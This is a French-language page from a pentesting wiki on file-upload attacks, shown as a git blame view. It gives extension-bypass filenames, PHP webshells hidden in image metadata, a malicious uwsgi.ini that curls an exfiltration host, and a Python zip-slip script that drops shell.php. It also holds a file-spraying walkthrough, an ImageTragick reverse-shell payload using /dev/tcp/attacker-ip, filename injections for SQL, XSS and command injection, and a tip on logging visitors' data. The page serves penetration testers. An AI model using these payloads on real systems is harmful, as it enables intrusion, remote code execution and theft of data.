hacktricks/pentesting-web/file-upload/README.md

354 lines
29 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
# Téléchargement de fichiers
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
2023-06-03 13:10:46 +00:00
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-03 13:10:46 +00:00
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
![](<../../.gitbook/assets/image (638) (3).png>)
2022-04-30 20:31:18 +00:00
**Astuce de prime de bug** : **inscrivez-vous** à **Intigriti**, une **plateforme premium de prime de bug créée par des pirates, pour les pirates** ! Rejoignez-nous dès aujourd'hui sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) et commencez à gagner des primes allant jusqu'à **100 000 $** !
{% embed url="https://go.intigriti.com/hacktricks" %}
## Méthodologie générale de téléchargement de fichiers
Autres extensions utiles :
* **PHP** : _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **Travailler avec PHPv8** : _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **ASP** : _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp** : _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
* **Coldfusion** : _.cfm, .cfml, .cfc, .dbm_
* **Flash** : _.swf_
* **Perl** : _.pl, .cgi_
* **Serveur Web Erlang Yaws** : _.yaws_
### Contourner les vérifications des extensions de fichiers
1. Si elles s'appliquent, **vérifiez** les **extensions précédentes**. Testez-les également en utilisant des **lettres majuscules** : _pHp, .pHP5, .PhAr ..._
2. _Vérifiez en **ajoutant une extension valide avant** l'extension d'exécution (utilisez également les extensions précédentes) :_
* _file.png.php_
* _file.png.Php5_
3. Essayez d'ajouter des **caractères spéciaux à la fin**. Vous pouvez utiliser Burp pour **forcer** tous les caractères **ascii** et **Unicode**. (_Notez que vous pouvez également essayer d'utiliser les **extensions précédentes**_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
* _file.php%0d%0a_
* _file.php/_
* _file.php.\\_
* _file._
* _file.php...._
* _file.pHp5...._
4. Essayez de contourner les protections en **trompant l'analyseur d'extension** côté serveur avec des techniques telles que **doubler** l'**extension** ou **ajouter des données inutiles** (octets nuls) entre les extensions. _Vous pouvez également utiliser les **extensions précédentes** pour préparer une charge utile plus efficace._
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
* _file.php%00.png_
* _file.php\x00.png_
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
5. Ajoutez **une autre couche d'extensions** à la vérification précédente :
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. Essayez de mettre l'**extension d'exécution avant l'extension valide** et espérez que le serveur est mal configuré. (utile pour exploiter les erreurs de configuration Apache où tout ce qui a l'extension **.php**, mais **n'ayant pas nécessairement une extension .php** exécutera du code) :
* _ex : file.php.png_
7. Utilisation des **flux de données alternatifs NTFS (ADS)** dans **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une extension autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par exemple, "file.asax:.jpg"). Ce fichier peut être modifié ultérieurement en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif "**::$data**" peut également être utilisé pour créer des fichiers non vides. Par conséquent, l'ajout d'un caractère point après ce motif peut également être utile pour contourner d'autres restrictions (par exemple, "file.asp::$data.")
8. Essayez de dépasser les limites du nom de fichier. L'extension valide est coupée. Et le code PHP malveillant est laissé. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Téléchargez le fichier et vérifiez la réponse pour savoir combien de caractères sont autorisés. Disons 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Créez la charge utile
AAA<--SNIP 232 A-->AAA.php.png
```
### Contourner Content-Type, Magic Number, Compression & Redimensionnement
* Contourner les vérifications de **Content-Type** en définissant la **valeur** de l'en-tête **Content-Type** sur : _image/png_, _text/plain_, application/octet-stream_
1. Wordlist de Content-Type : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Contourner la vérification du **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (pour tromper la commande _file_). Ou introduisez le shell à l'intérieur des **métadonnées** :\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ou vous pouvez également **introduire directement la charge utile** dans une image :\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Si une **compression est ajoutée à votre image**, par exemple en utilisant des bibliothèques PHP standard telles que [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser la **chunk PLTE** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
* [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* La page web peut également effectuer un **redimensionnement de l'image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pouvez utiliser la **chunk IDAT** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
* [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Une autre technique pour créer une charge utile qui **survive à un redimensionnement de l'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pouvez utiliser la **chunk tEXt** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
* [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Autres astuces à vérifier
* Trouver une vulnérabilité pour **renommer** le fichier déjà téléchargé (pour changer l'extension).
* Trouver une vulnérabilité de **Local File Inclusion** pour exécuter la porte dérobée.
* **Divulgation possible d'informations** :
1. Téléchargez **plusieurs fois** (et en **même temps**) le **même fichier** avec le **même nom**
2. Téléchargez un fichier avec le **nom** d'un **fichier** ou d'un **dossier** qui **existe déjà**
3. Téléchargez un fichier avec **“.”, “..”, ou “…” comme nom**. Par exemple, dans Apache sous **Windows**, si l'application enregistre les fichiers téléchargés dans le répertoire “/www/uploads/”, le nom de fichier “.” créera un fichier appelé “uploads” dans le répertoire “/www/”.
4. Téléchargez un fichier qui ne peut pas être facilement supprimé, tel que **“…:.jpg”** dans **NTFS**. (Windows)
5. Téléchargez un fichier dans **Windows** avec des caractères **non valides** tels que `|<>*?”` dans son nom. (Windows)
6. Téléchargez un fichier dans **Windows** en utilisant des **noms** **réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 et LPT9.
* Essayez également de **télécharger un exécutable** (.exe) ou un fichier **.html** (moins suspect) qui **exécutera du code** lorsqu'il est ouvert accidentellement par la victime.
### Astuces d'extension spéciale
Si vous essayez de télécharger des fichiers sur un serveur **PHP**, [consultez l'astuce du fichier **.htaccess** pour exécuter du code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Si vous essayez de télécharger des fichiers sur un serveur **ASP**, [consultez l'astuce du fichier **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Les fichiers `.phar` sont comme les fichiers `.jar` pour Java, mais pour PHP, et peuvent être **utilisés comme un fichier PHP** (en l'exécutant avec PHP ou en l'incluant dans un script...)
L'extension `.inc` est parfois utilisée pour les fichiers PHP qui sont uniquement utilisés pour **importer des fichiers**, donc, à un moment donné, quelqu'un aurait pu autoriser **cette extension à être exécutée**.
## **Jetty RCE**
Si vous pouvez télécharger un fichier XML sur un serveur Jetty, vous pouvez obtenir [une RCE car les nouveaux fichiers \*.xml et \*.war sont automatiquement traités](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Donc, comme mentionné dans l'image suivante, téléchargez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell !
![](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
## **uWSGI RCE**
Si vous pouvez remplacer le fichier de configuration `.ini` d'un [**serveur uWSGI, vous pouvez obtenir une RCE**](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**.** En effet, les fichiers de configuration uWSGI peuvent inclure des variables "magiques", des espaces réservés et des opérateurs définis avec une syntaxe précise. L'opérateur '@' en particulier est utilisé sous la forme de @(nom du fichier) pour inclure le contenu d'un fichier. De nombreux schémas uWSGI sont pris en charge, y compris "exec" - utile pour lire la sortie standard d'un processus. Ces opérateurs peuvent être utilisés pour l'exécution de commandes à distance ou l'écriture/lecture arbitraire de fichiers lorsqu'un fichier de configuration .ini est analysé :
Exemple de fichier `uwsgi.ini` malveillant :
2023-03-02 09:08:19 +00:00
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
2023-03-05 10:15:19 +00:00
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
2023-03-02 09:08:19 +00:00
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Lorsque le fichier de **configuration** sera **analysé**, la **charge utile** sera **exécutée**. Notez que pour que la configuration soit analysée, le **processus doit être redémarré** (plantage ? DoS ?) ou le fichier **rechargé automatiquement** (une option en cours d'utilisation indique les secondes pour recharger le fichier en cas de modification).
2023-03-02 09:08:19 +00:00
**Note importante :** L'analyse du fichier de configuration par uWSGI est laxiste. La charge utile précédente peut être intégrée dans un fichier binaire (par exemple, une image, un PDF, ...).
2020-10-15 13:16:06 +00:00
## **Astuce de téléchargement de fichier/SSRF avec wget**
2020-10-15 13:16:06 +00:00
Dans certaines situations, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et vous pouvez **indiquer** l'**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés se trouve dans une liste blanche pour s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée**.\
2023-06-03 13:10:46 +00:00
La **longueur maximale** d'un **nom de fichier** sous **Linux** est de **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (comme dans cet exemple **".gif"** est une extension **valide**) mais `wget` renommera le fichier en **"A"\*232+".php"**.
2020-10-15 13:16:06 +00:00
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-10-15 13:16:06 +00:00
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Notez qu'une **autre option** à laquelle vous pourriez penser pour contourner cette vérification est de faire en sorte que le serveur HTTP redirige vers un fichier différent, de sorte que l'URL initiale contourne la vérification, puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **à moins que** wget ne soit utilisé avec le **paramètre** `--trust-server-names` car **wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL d'origine**.
2020-10-15 13:16:06 +00:00
2023-06-03 13:10:46 +00:00
#### Autres ressources
2021-01-28 13:23:35 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
2023-03-02 09:08:19 +00:00
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
## Outils
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) est un outil puissant conçu pour aider les testeurs de pénétration et les chasseurs de bugs à tester les mécanismes de téléchargement de fichiers. Il exploite diverses techniques de chasse aux bugs pour simplifier le processus d'identification et d'exploitation des vulnérabilités, garantissant ainsi des évaluations approfondies des applications web.
## Du téléchargement de fichiers à d'autres vulnérabilités
* Définissez le **nom de fichier** sur `../../../tmp/lol.png` et essayez d'obtenir une **traversée de chemin**
* Définissez le **nom de fichier** sur `sleep(10)-- -.jpg` et vous pourrez peut-être obtenir une **injection SQL**
* Définissez le **nom de fichier** sur `<svg onload=alert(document.domain)>` pour obtenir une XSS
* Définissez le **nom de fichier** sur `; sleep 10;` pour tester une injection de commandes (plus de [trucs d'injection de commandes ici](../command-injection.md))
2023-06-03 13:10:46 +00:00
* [**XSS** dans le téléchargement de fichiers image (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* Téléchargement de fichiers **JS** + **XSS** = [exploitation des **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
2023-06-03 13:10:46 +00:00
* [**XXE dans le téléchargement de fichiers svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Redirection ouverte** via le téléchargement de fichiers svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Essayez **différentes charges utiles svg** à partir de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Vulnérabilité de l'**ImageTrick** célèbre](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Si vous pouvez **indiquer au serveur web de récupérer une image à partir d'une URL**, vous pouvez essayer d'exploiter une [SSRF](../ssrf-server-side-request-forgery/). Si cette **image** doit être **enregistrée** sur un site **public**, vous pouvez également indiquer une URL à partir de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler les informations de chaque visiteur**.
* [**Contournement de XXE et CORS** avec le téléchargement de fichiers PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* PDF spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pouvez préparer un PDF qui exécutera du JS arbitraire en suivant les indications données.
* Téléchargez le contenu \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) pour vérifier si le serveur dispose d'un **antivirus**
* Vérifiez s'il y a une **limite de taille** pour le téléchargement de fichiers
Voici une liste des 10 principales choses que vous pouvez réaliser en téléchargeant des fichiers (à partir de [ce lien](https://twitter.com/SalahHasoneh1/status/1281274120395685889)) :
1. **ASP / ASPX / PHP5 / PHP / PHP3** : Webshell / RCE
2. **SVG** : XSS stockée / SSRF / XXE
3. **GIF** : XSS stockée / SSRF
4. **CSV** : Injection CSV
5. **XML** : XXE
6. **AVI** : LFI / SSRF
2023-06-03 13:10:46 +00:00
7. **HTML / JS** : Injection HTML / XSS / Redirection ouverte
8. **PNG / JPEG** : Attaque de saturation de pixels (DoS)
9. **ZIP** : RCE via LFI / DoS
10. **PDF / PPTX** : SSRF / XXE aveugle
2020-10-15 13:16:06 +00:00
2023-06-03 13:10:46 +00:00
#### Extension Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
2023-06-03 13:10:46 +00:00
## En-têtes magiques
2021-04-17 15:03:24 +00:00
* **PNG** : `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG** : `"\xff\xd8\xff"`
2021-04-17 15:03:24 +00:00
2023-06-03 13:10:46 +00:00
Reportez-vous à [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) pour d'autres types de fichiers.
2020-10-15 13:16:06 +00:00
2023-06-03 13:10:46 +00:00
### Téléchargement automatique de fichiers Zip/Tar décompressés
2020-10-15 13:16:06 +00:00
Si vous pouvez télécharger un fichier ZIP qui va être décompressé à l'intérieur du serveur, vous pouvez faire 2 choses :
2020-10-15 13:16:06 +00:00
2023-06-03 13:10:46 +00:00
#### Lien symbolique
2020-10-15 13:16:06 +00:00
Téléchargez un lien contenant des liens symboliques vers d'autres fichiers, puis, en accédant aux fichiers décompressés, vous accéderez aux fichiers liés :
```
2020-10-15 13:16:06 +00:00
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
2021-12-05 18:16:27 +00:00
tar -cvf test.tar symindex.txt
2020-10-15 13:16:06 +00:00
```
2023-06-03 13:10:46 +00:00
### Décompression dans différents dossiers
2020-10-15 13:16:06 +00:00
2023-06-03 13:10:46 +00:00
Les fichiers décompressés seront créés dans des dossiers inattendus.
2020-10-15 13:16:06 +00:00
On pourrait facilement supposer que cette configuration protège contre l'exécution de commandes au niveau du système d'exploitation via des téléchargements de fichiers malveillants, mais malheureusement ce n'est pas vrai. Étant donné que le format d'archive ZIP prend en charge la compression hiérarchique et que nous pouvons également faire référence à des répertoires de niveaux supérieurs, nous pouvons échapper au répertoire de téléchargement sécurisé en exploitant la fonction de décompression de l'application cible.
2020-10-15 13:16:06 +00:00
Une exploitation automatisée pour créer ce type de fichiers peut être trouvée ici : [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
2020-10-15 13:16:06 +00:00
```python
2021-12-05 18:16:27 +00:00
python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
2020-10-15 13:16:06 +00:00
```
Vous pouvez également utiliser le **truc du lien symbolique avec evilarc**, si le drapeau se trouve dans `/flag.txt`, assurez-vous de créer un **lien symbolique vers ce fichier** et de **créer ce fichier dans votre système** afin que lorsque vous appelez evilarc, il ne génère pas d'erreur.
2020-10-15 13:16:06 +00:00
Voici du code Python pour créer une archive zip malveillante :
2020-10-15 13:16:06 +00:00
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
2020-10-15 13:16:06 +00:00
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
2020-10-15 13:16:06 +00:00
```
Pour réaliser l'exécution de commandes à distance, j'ai suivi les étapes suivantes :
2020-10-15 13:16:06 +00:00
2023-06-03 13:10:46 +00:00
1. Créer un shell PHP :
2020-10-15 13:16:06 +00:00
```php
<?php
2020-10-15 13:16:06 +00:00
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
2020-10-15 13:16:06 +00:00
}?>
```
2023-06-03 13:10:46 +00:00
1. Utilisez la technique de "file spraying" et créez un fichier zip compressé :
```
2020-10-15 13:16:06 +00:00
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
2020-10-15 13:16:06 +00:00
root@s2crew:/tmp#
```
3. Utilisez un éditeur hexadécimal ou vi et remplacez "xxA" par "../", j'ai utilisé vi :
```
2020-10-15 13:16:06 +00:00
:set modifiable
:%s/xxA/..\//g
:x!
```
Il ne reste plus qu'une étape : téléchargez le fichier ZIP et laissez l'application le décompresser ! Si cela réussit et que le serveur web dispose des privilèges suffisants pour écrire dans les répertoires, un simple shell d'exécution de commandes OS sera disponible sur le système :
2020-10-15 13:16:06 +00:00
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
2023-06-03 13:10:46 +00:00
**Référence** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
2020-10-15 13:16:06 +00:00
2022-05-01 16:32:23 +00:00
## ImageTragic
2020-10-15 13:16:06 +00:00
Téléchargez ce contenu avec une extension d'image pour exploiter la vulnérabilité **(ImageMagick, 7.0.1-1)**
```
2020-10-15 13:16:06 +00:00
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
2023-06-03 13:10:46 +00:00
## Intégration d'un shell PHP dans une image PNG
2020-10-15 13:16:06 +00:00
La principale raison de placer un shell web dans le chunk IDAT est qu'il a la capacité de contourner les opérations de redimensionnement et de rééchantillonnage - PHP-GD contient deux fonctions pour cela [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) et [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
2020-10-15 13:16:06 +00:00
2023-06-03 13:10:46 +00:00
Lisez cet article: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
2020-10-15 13:16:06 +00:00
2023-06-03 13:10:46 +00:00
## Fichiers polyglottes
2020-10-15 13:16:06 +00:00
2023-06-03 13:10:46 +00:00
Les polyglottes, dans un contexte de sécurité, sont des fichiers qui sont une forme valide de plusieurs types de fichiers différents. Par exemple, un [GIFAR](https://en.wikipedia.org/wiki/Gifar) est à la fois un fichier GIF et un fichier RAR. Il existe également des fichiers qui peuvent être à la fois GIF et JS, à la fois PPT et JS, etc.
2020-10-15 13:16:06 +00:00
Les fichiers polyglottes sont souvent utilisés pour contourner la protection basée sur les types de fichiers. De nombreuses applications qui permettent aux utilisateurs de télécharger des fichiers n'autorisent que certains types de fichiers, tels que JPEG, GIF, DOC, afin d'empêcher les utilisateurs de télécharger des fichiers potentiellement dangereux tels que des fichiers JS, des fichiers PHP ou des fichiers Phar.
2020-10-15 13:16:06 +00:00
Cela permet de télécharger un fichier qui est conforme au format de plusieurs formats différents. Cela vous permet de télécharger un fichier PHAR (PHp ARchive) qui ressemble également à un JPEG, mais vous aurez probablement toujours besoin d'une extension valide et si la fonction de téléchargement ne le permet pas, cela ne vous aidera pas.
2020-10-15 13:16:06 +00:00
2023-06-03 13:10:46 +00:00
Plus d'informations sur: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
2022-04-28 16:01:33 +00:00
2022-07-21 20:26:09 +00:00
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Astuce pour les primes de bug**: **inscrivez-vous** sur **Intigriti**, une **plateforme premium de primes de bug créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $**!
2022-05-08 22:42:39 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
